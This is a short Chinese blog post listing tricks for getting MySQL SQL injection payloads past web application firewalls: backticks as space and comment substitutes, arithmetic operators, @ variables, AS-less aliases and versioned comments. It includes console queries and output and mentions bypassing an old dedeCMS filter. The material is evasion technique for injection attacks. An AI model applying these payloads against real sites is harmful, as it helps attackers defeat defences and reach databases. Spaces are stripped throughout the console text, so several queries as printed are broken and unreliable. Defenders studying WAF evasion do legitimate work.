本文中,笔者与大家分享了几个WAF绕过的技巧。对于一些大家都了解的技巧如:/*!*/,SELECT[0x09,0x0A-0x0D,0x20,0xA0]xx FROM 不再重造轮子。
Mysql:
tips1: 神奇的 ` (格式输出表的那个控制符)
过空格 过一些正则。
mysql>select`version`() ->; +----------------------+ |`version`()| +----------------------+ |5.1.50-community-log| +----------------------+ 1rowinset(0.00sec)
一个更好玩的技巧,这个` 控制符可以当注释符用(限定条件)。
mysql>selectidfromqs_adminswhereid=1;`dfffandcommentit; +----+ |id| +----+ |1| +----+ 1rowinset(0.00sec) `>usage:whereid=’0′`’xxxxcommenton.
tips2:神奇的“- + .”:
mysql>selectidfromqs_admins; +----+ |id| +----+ |1| +----+ 1rowinset(0.00sec) mysql>select+id-1+1.fromqs_admins; +----------+ |+id-1+1.| +----------+ |1| +----------+ 1rowinset(0.00sec) mysql>select-id-1+3.fromqs_admins; +----------+ |-id-1+3.| +----------+ |1| +----------+ 1rowinset(0.00sec)
(有些人不是一直在说关键字怎么过?过滤一个from … 就是这样连起来过)
tips3: @
mysql>select@^1.fromqs_admins; +------+ |@^1.| +------+ |NULL| +------+
这个是bypass 曾经dedeCMS filter。
或者下面这样也是可以的:
tips4:mysql function() as xxx 也可以不用as 和空格
mysql>select-count(id)testfromqs_admins; +------+ |test| +------+ |-1| +------+ 1rowinset(0.00sec)
tips5:/*![>5000]*/ 新构造 版本号(这个可能有些过时了。)
mysql>/*!40000select*/idfromqs_admins; +----+ |id| +----+ |1| +----+ 1rowinset(0.00sec)
转载请注明:IT运维空间 » 安全防护 » WAF绕过的几个技巧
发表评论